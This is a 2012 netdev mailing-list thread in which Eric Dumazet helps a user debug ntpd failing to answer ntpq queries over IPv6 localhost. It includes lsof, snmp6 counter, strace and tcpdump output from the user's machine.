> ntpd    368  ntp   18u     IPv4              10460      0t0    UDP
> localhost.localdomain:ntp
> ntpd    368  ntp   19u     IPv4              10461      0t0    UDP
> hinniepc.fritz.box:ntp
> ntpd    368  ntp   20u     IPv6               8775      0t0    UDP
> [fe80::922b:34ff:fe33:c292]:ntp
> ntpd    368  ntp   21u  netlink                         0t0  10463 ROUTE

Hmm, your ntpd doesnt listen normally to ::1 UDP 123

grep ntpd /var/log/syslog :

(Here I have : )

ntpd[4912]: ntpd 4.2.6p3@1.2290-o Mon Aug 20 15:15:21 UTC 2012 (1)
ntpd[4913]: proto: precision = 0.980 usec
ntpd[4913]: ntp_io: estimated max descriptors: 1024, initial socket
boundary: 16
ntpd[4913]: Listen and drop on 0 v4wildcard 0.0.0.0 UDP 123
ntpd[4913]: Listen and drop on 1 v6wildcard :: UDP 123
ntpd[4913]: Listen normally on 2 lo 127.0.0.1 UDP 123
ntpd[4913]: Listen normally on 3 eth1 172.30.42.8 UDP 123
ntpd[4913]: Listen normally on 4 lo ::1 UDP 123
ntpd[4913]: Listen normally on 5 eth1 fe80::222:15ff:fe87:3ff6 UDP 123
ntpd[4913]: peers refreshed
ntpd[4913]: Listening on routing socket on fd #22 for interface updates

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 21:02 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot5eyNmYhMi7LSKqwsb=hFbWUqOF3rzWt7Kt-C4hJ9pOmQ@mail.gmail.com>

On Sun, 2012-10-14 at 22:56 +0200, Jan Hinnerk Stosch wrote:
> 2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> > On Sun, 2012-10-14 at 22:45 +0200, Eric Dumazet wrote:
> >
> >> OK so IPv6 UDP frames are delivered to ntpd
> >>
> >> could you strace it while doing one "ntpq -p"
> >>
> >> strace -p 368
> >>
> >
> > Also please post "ip -6 addr"
> >
> >
> 
> ip -6 addr gives:
> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436
>     inet6 ::1/128 scope host
>        valid_lft forever preferred_lft forever
> 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qlen 1000
>     inet6 fe80::922b:34ff:fe33:c292/64 scope link
>        valid_lft forever preferred_lft forever
> 
> And the output of "strace ntpq -p" is attached in file "ntpq-p".
> 
> I also did a tcpdump earlier this day as told in the bugtracker. Find
> the parts containing "ntpd" attached in file "tcpdump".

I already got these files, thank you

I asked a strace of the ntpd daemon, since we now know frames are
delivered to the application. I want to check what ntpd does of these
frames, since apparently it gives no answer.

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 20:56 UTC (permalink / raw)
  To: Eric Dumazet, netdev
In-Reply-To: <1350247678.21172.17170.camel@edumazet-glaptop>

[-- Attachment #1: Type: text/plain, Size: 756 bytes --]

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> On Sun, 2012-10-14 at 22:45 +0200, Eric Dumazet wrote:
>
>> OK so IPv6 UDP frames are delivered to ntpd
>>
>> could you strace it while doing one "ntpq -p"
>>
>> strace -p 368
>>
>
> Also please post "ip -6 addr"
>
>

ip -6 addr gives:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qlen 1000
    inet6 fe80::922b:34ff:fe33:c292/64 scope link
       valid_lft forever preferred_lft forever

And the output of "strace ntpq -p" is attached in file "ntpq-p".

I also did a tcpdump earlier this day as told in the bugtracker. Find
the parts containing "ntpd" attached in file "tcpdump".

[-- Attachment #2: ntpq-p --]
[-- Type: application/octet-stream, Size: 13327 bytes --]

execve("/usr/bin/ntpq", ["ntpq", "-p"], [/* 33 vars */]) = 0
brk(0)                                  = 0x15dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f2d0dfcc000
close(3)                                = 0
open("/usr/lib/libcrypto.so.1.0.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0J\6\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0555, st_size=2392233, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dfcb000
mmap(NULL, 4230344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0d9ca000
mprotect(0x7f2d0dbaa000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0dda9000, 155648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1df000) = 0x7f2d0dda9000
mmap(0x7f2d0ddcf000, 15560, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f2d0ddcf000
close(3)                                = 0
open("/usr/lib/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\"\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=31760, ...}) = 0
mmap(NULL, 2128880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0d7c2000
mprotect(0x7f2d0d7c9000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0d9c8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f2d0d9c8000
close(3)                                = 0
open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\30\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2009849, ...}) = 0
mmap(NULL, 3828816, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0d41b000
mprotect(0x7f2d0d5b9000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0d7b8000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f2d0d7b8000
mmap(0x7f2d0d7be000, 15440, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f2d0d7be000
close(3)                                = 0
open("/usr/lib/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\16\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=14648, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dfca000
mmap(NULL, 2109720, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0d217000
mprotect(0x7f2d0d21a000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0d419000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f2d0d419000
close(3)                                = 0
open("/usr/lib/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\340\"\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=88656, ...}) = 0
mmap(NULL, 2183688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0d001000
mprotect(0x7f2d0d016000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0d215000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14000) = 0x7f2d0d215000
close(3)                                = 0
open("/usr/lib/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@l\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=137998, ...}) = 0
mmap(NULL, 2208640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0cde5000
mprotect(0x7f2d0cdfc000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0cffb000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7f2d0cffb000
mmap(0x7f2d0cffd000, 13184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f2d0cffd000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dfc9000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dfc8000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dfc7000
arch_prctl(ARCH_SET_FS, 0x7f2d0dfc8700) = 0
mprotect(0x7f2d0d7b8000, 16384, PROT_READ) = 0
mprotect(0x7f2d0cffb000, 4096, PROT_READ) = 0
mprotect(0x7f2d0d215000, 4096, PROT_READ) = 0
mprotect(0x7f2d0d419000, 4096, PROT_READ) = 0
mprotect(0x7f2d0d9c8000, 4096, PROT_READ) = 0
mprotect(0x7f2d0dda9000, 110592, PROT_READ) = 0
mprotect(0x630000, 4096, PROT_READ)     = 0
mprotect(0x7f2d0dff4000, 4096, PROT_READ) = 0
munmap(0x7f2d0dfcc000, 160446)          = 0
set_tid_address(0x7f2d0dfc89d0)         = 12278
set_robust_list(0x7f2d0dfc89e0, 24)     = 0
rt_sigaction(SIGRTMIN, {0x7f2d0cdeb7a0, [], SA_RESTORER|SA_SIGINFO, 0x7f2d0cdf4170}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7f2d0cdeb820, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7f2d0cdf4170}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
close(3)                                = 0
socket(PF_INET6, SOCK_STREAM, IPPROTO_IP) = 3
getsockname(3, {sa_family=AF_INET6, sin6_port=htons(0), inet_pton(AF_INET6, "::", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0
close(3)                                = 0
brk(0)                                  = 0x15dd000
brk(0x15fe000)                          = 0x15fe000
getcwd("/home/hinnie", 4096)            = 13
stat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie/.ntprc", 0x7fff8f955dc0) = -1 ENOENT (No such file or directory)
lstat("/home", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie/.ntprc", 0x7fff8f955dc0) = -1 ENOENT (No such file or directory)
lstat("/home", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie/.ntprc", 0x7fff8f955dc0) = -1 ENOENT (No such file or directory)
getcwd("/home/hinnie", 4096)            = 13
stat("/home/hinnie", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
stat("/home/hinnie/.ntprc", 0x7fff8f955dc0) = -1 ENOENT (No such file or directory)
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)                                = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)                                = 0
open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=223, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "# Begin /etc/nsswitch.conf\n\npass"..., 4096) = 223
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f2d0dfcc000
close(3)                                = 0
open("/usr/lib/libnss_files.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\"\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=52136, ...}) = 0
mmap(NULL, 2148136, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f2d0cbd8000
mprotect(0x7f2d0cbe4000, 2093056, PROT_NONE) = 0
mmap(0x7f2d0cde3000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xb000) = 0x7f2d0cde3000
close(3)                                = 0
mprotect(0x7f2d0cde3000, 4096, PROT_READ) = 0
munmap(0x7f2d0dfcc000, 160446)          = 0
open("/etc/services", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=286369, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "# See the full IANA XML file at:"..., 4096) = 4096
read(3, "     97/tcp\nswift-rvf          9"..., 4096) = 4096
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
socket(PF_NETLINK, SOCK_RAW, 0)         = 3
bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
getsockname(3, {sa_family=AF_NETLINK, pid=12278, groups=00000000}, [12]) = 0
sendto(3, "\24\0\0\0\26\0\1\3e%{P\0\0\0\0\0\0\0\0", 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
recvmsg(3, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"0\0\0\0\24\0\2\0e%{P\366/\0\0\2\10\200\376\1\0\0\0\10\0\1\0\177\0\0\1"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 108
recvmsg(3, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"@\0\0\0\24\0\2\0e%{P\366/\0\0\n\200\200\376\1\0\0\0\24\0\1\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 128
recvmsg(3, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"\24\0\0\0\3\0\2\0e%{P\366/\0\0\0\0\0\0", 4096}], msg_controllen=0, msg_flags=0}, 0) = 20
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
connect(4, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(4)                                = 0
close(3)                                = 0
open("/etc/services", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=286369, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "# See the full IANA XML file at:"..., 4096) = 4096
read(3, "     97/tcp\nswift-rvf          9"..., 4096) = 4096
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)                                = 0
open("/etc/host.conf", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=63, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "#\n# /etc/host.conf\n#\n\norder host"..., 4096) = 63
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
futex(0x7f2d0d7c0620, FUTEX_WAKE_PRIVATE, 2147483647) = 0
open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=25, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "nameserver 192.168.178.1\n", 4096) = 25
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
uname({sys="Linux", node="hinniepc", ...}) = 0
open("/etc/hosts", O_RDONLY|O_CLOEXEC)  = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=213, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "#\n# /etc/hosts: static lookup ta"..., 4096) = 213
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
open("/etc/gai.conf", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3045, ...}) = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=3045, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f2d0dff3000
read(3, "# Configuration for getaddrinfo("..., 4096) = 3045
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x7f2d0dff3000, 4096)            = 0
futex(0x7f2d0d7bf0b8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(51374), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
close(3)                                = 0
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET6, sin6_port=htons(123), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0
getsockname(3, {sa_family=AF_INET6, sin6_port=htons(48076), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0
close(3)                                = 0
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET6, sin6_port=htons(123), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0
sendto(3, "\26\1\0\1\0\0\0\0\0\0\0\0", 12, 0, NULL, 0) = 12
select(4, [3], NULL, NULL, {5, 0})      = 0 (Timeout)
sendto(3, "\26\1\0\1\0\0\0\0\0\0\0\0", 12, 0, NULL, 0) = 12
select(4, [3], NULL, NULL, {5, 0})      = 0 (Timeout)
write(2, "localhost.localdomain: timed out"..., 51localhost.localdomain: timed out, nothing received
) = 51
write(2, "***Request timed out\n", 21***Request timed out
)  = 21
exit_group(0)                           = ?
+++ exited with 0 +++


[-- Attachment #3: tcpdump --]
[-- Type: application/octet-stream, Size: 428 bytes --]

17:19:11.213395 IP6 (hlim 64, next-header UDP (17) payload length: 20) localhost.localdomain.46138 > localhost.localdomain.ntp: [udp sum ok] NTPv2, length 12
	Root Delay: 0.000000, Root dispersion: 0.000000 [|ntp]
17:19:16.218453 IP6 (hlim 64, next-header UDP (17) payload length: 20) localhost.localdomain.46138 > localhost.localdomain.ntp: [udp sum ok] NTPv2, length 12
	Root Delay: 0.000000, Root dispersion: 0.000000 [|ntp]

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 20:47 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <1350247546.21172.17167.camel@edumazet-glaptop>

On Sun, 2012-10-14 at 22:45 +0200, Eric Dumazet wrote:

> OK so IPv6 UDP frames are delivered to ntpd
> 
> could you strace it while doing one "ntpq -p"
> 
> strace -p 368
> 

Also please post "ip -6 addr"

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 20:45 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot5xZevtZcCS37h9HR4Zkj_Q4ny_sj+NX7oYEvazAQjxLQ@mail.gmail.com>

On Sun, 2012-10-14 at 22:39 +0200, Jan Hinnerk Stosch wrote:
> 2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> > On Sun, 2012-10-14 at 22:27 +0200, Eric Dumazet wrote:
> >
> >> Also post :
> >>
> >
> > # grep Udp6 /proc/net/snmp6
> >
> > Before and after your "ntpq -p" try
> >
> >
> 
> Sorry, my fault. I executed the command as user not root:
> lsof: WARNING: can't stat() fuse.gvfs-fuse-daemon file system
> /run/user/1000/gvfs
>       Output information may be incomplete.
> COMMAND PID USER   FD      TYPE             DEVICE SIZE/OFF   NODE NAME
> ntpd    368  ntp  cwd       DIR                8,2     4096      2 /
> ntpd    368  ntp  rtd       DIR                8,2     4096      2 /
> ntpd    368  ntp  txt       REG                8,2   582944 418889 /usr/bin/ntpd
> ntpd    368  ntp  mem       REG                8,2    84832 396501
> /usr/lib/libresolv-2.16.so
> ntpd    368  ntp  mem       REG                8,2    22936 396440
> /usr/lib/libnss_dns-2.16.so
> ntpd    368  ntp  mem       REG                8,2    52136 396470
> /usr/lib/libnss_files-2.16.so
> ntpd    368  ntp  mem       REG                8,2    18760 400111
> /usr/lib/libattr.so.1.1.0
> ntpd    368  ntp  mem       REG                8,2   137998 396481
> /usr/lib/libpthread-2.16.so
> ntpd    368  ntp  mem       REG                8,2    88656 399537
> /usr/lib/libz.so.1.2.7
> ntpd    368  ntp  mem       REG                8,2    14648 396487
> /usr/lib/libdl-2.16.so
> ntpd    368  ntp  mem       REG                8,2  2009849 396474
> /usr/lib/libc-2.16.so
> ntpd    368  ntp  mem       REG                8,2    16776 400227
> /usr/lib/libcap.so.2.22
> ntpd    368  ntp  mem       REG                8,2    31760 396469
> /usr/lib/librt-2.16.so
> ntpd    368  ntp  mem       REG                8,2  2392233 405328
> /usr/lib/libcrypto.so.1.0.0
> ntpd    368  ntp  mem       REG                8,2  1022344 396456
> /usr/lib/libm-2.16.so
> ntpd    368  ntp  mem       REG                8,2   165344 396512
> /usr/lib/ld-2.16.so
> ntpd    368  ntp    0u      CHR                1,3      0t0   1028 /dev/null
> ntpd    368  ntp    1u      CHR                1,3      0t0   1028 /dev/null
> ntpd    368  ntp    2u      CHR                1,3      0t0   1028 /dev/null
> ntpd    368  ntp    3u     unix 0xffff880214dfbb80      0t0  11432 socket
> ntpd    368  ntp    5w      REG                8,2        0 664219
> /var/log/ntp.log
> ntpd    368  ntp   16u     IPv4              10453      0t0    UDP *:ntp
> ntpd    368  ntp   17u     IPv6              10454      0t0    UDP *:ntp
> ntpd    368  ntp   18u     IPv4              10460      0t0    UDP
> localhost.localdomain:ntp
> ntpd    368  ntp   19u     IPv4              10461      0t0    UDP
> hinniepc.fritz.box:ntp
> ntpd    368  ntp   20u     IPv6               8775      0t0    UDP
> [fe80::922b:34ff:fe33:c292]:ntp
> ntpd    368  ntp   21u  netlink                         0t0  10463 ROUTE
> 
> and here is "grep Udp6 /proc/net/snmp6" before:
> Udp6InDatagrams                 	19
> Udp6NoPorts                     	0
> Udp6InErrors                    	0
> Udp6OutDatagrams                	19
> Udp6RcvbufErrors                	0
> Udp6SndbufErrors                	0
> 
> and after running "ntpq -p":
> Udp6InDatagrams                 	21
> Udp6NoPorts                     	0
> Udp6InErrors                    	0
> Udp6OutDatagrams                	21
> Udp6RcvbufErrors                	0
> Udp6SndbufErrors                	0

OK so IPv6 UDP frames are delivered to ntpd

could you strace it while doing one "ntpq -p"

strace -p 368

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 20:39 UTC (permalink / raw)
  To: Eric Dumazet, netdev
In-Reply-To: <1350246481.21172.17147.camel@edumazet-glaptop>

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> On Sun, 2012-10-14 at 22:27 +0200, Eric Dumazet wrote:
>
>> Also post :
>>
>
> # grep Udp6 /proc/net/snmp6
>
> Before and after your "ntpq -p" try
>
>

Sorry, my fault. I executed the command as user not root:
lsof: WARNING: can't stat() fuse.gvfs-fuse-daemon file system
/run/user/1000/gvfs
      Output information may be incomplete.
COMMAND PID USER   FD      TYPE             DEVICE SIZE/OFF   NODE NAME
ntpd    368  ntp  cwd       DIR                8,2     4096      2 /
ntpd    368  ntp  rtd       DIR                8,2     4096      2 /
ntpd    368  ntp  txt       REG                8,2   582944 418889 /usr/bin/ntpd
ntpd    368  ntp  mem       REG                8,2    84832 396501
/usr/lib/libresolv-2.16.so
ntpd    368  ntp  mem       REG                8,2    22936 396440
/usr/lib/libnss_dns-2.16.so
ntpd    368  ntp  mem       REG                8,2    52136 396470
/usr/lib/libnss_files-2.16.so
ntpd    368  ntp  mem       REG                8,2    18760 400111
/usr/lib/libattr.so.1.1.0
ntpd    368  ntp  mem       REG                8,2   137998 396481
/usr/lib/libpthread-2.16.so
ntpd    368  ntp  mem       REG                8,2    88656 399537
/usr/lib/libz.so.1.2.7
ntpd    368  ntp  mem       REG                8,2    14648 396487
/usr/lib/libdl-2.16.so
ntpd    368  ntp  mem       REG                8,2  2009849 396474
/usr/lib/libc-2.16.so
ntpd    368  ntp  mem       REG                8,2    16776 400227
/usr/lib/libcap.so.2.22
ntpd    368  ntp  mem       REG                8,2    31760 396469
/usr/lib/librt-2.16.so
ntpd    368  ntp  mem       REG                8,2  2392233 405328
/usr/lib/libcrypto.so.1.0.0
ntpd    368  ntp  mem       REG                8,2  1022344 396456
/usr/lib/libm-2.16.so
ntpd    368  ntp  mem       REG                8,2   165344 396512
/usr/lib/ld-2.16.so
ntpd    368  ntp    0u      CHR                1,3      0t0   1028 /dev/null
ntpd    368  ntp    1u      CHR                1,3      0t0   1028 /dev/null
ntpd    368  ntp    2u      CHR                1,3      0t0   1028 /dev/null
ntpd    368  ntp    3u     unix 0xffff880214dfbb80      0t0  11432 socket
ntpd    368  ntp    5w      REG                8,2        0 664219
/var/log/ntp.log
ntpd    368  ntp   16u     IPv4              10453      0t0    UDP *:ntp
ntpd    368  ntp   17u     IPv6              10454      0t0    UDP *:ntp
ntpd    368  ntp   18u     IPv4              10460      0t0    UDP
localhost.localdomain:ntp
ntpd    368  ntp   19u     IPv4              10461      0t0    UDP
hinniepc.fritz.box:ntp
ntpd    368  ntp   20u     IPv6               8775      0t0    UDP
[fe80::922b:34ff:fe33:c292]:ntp
ntpd    368  ntp   21u  netlink                         0t0  10463 ROUTE

and here is "grep Udp6 /proc/net/snmp6" before:
Udp6InDatagrams                 	19
Udp6NoPorts                     	0
Udp6InErrors                    	0
Udp6OutDatagrams                	19
Udp6RcvbufErrors                	0
Udp6SndbufErrors                	0

and after running "ntpq -p":
Udp6InDatagrams                 	21
Udp6NoPorts                     	0
Udp6InErrors                    	0
Udp6OutDatagrams                	21
Udp6RcvbufErrors                	0
Udp6SndbufErrors                	0

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 20:28 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <1350246414.21172.17144.camel@edumazet-glaptop>

On Sun, 2012-10-14 at 22:27 +0200, Eric Dumazet wrote:

> Also post :
> 

# grep Udp6 /proc/net/snmp6

Before and after your "ntpq -p" try

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 20:26 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <1350246314.21172.17139.camel@edumazet-glaptop>

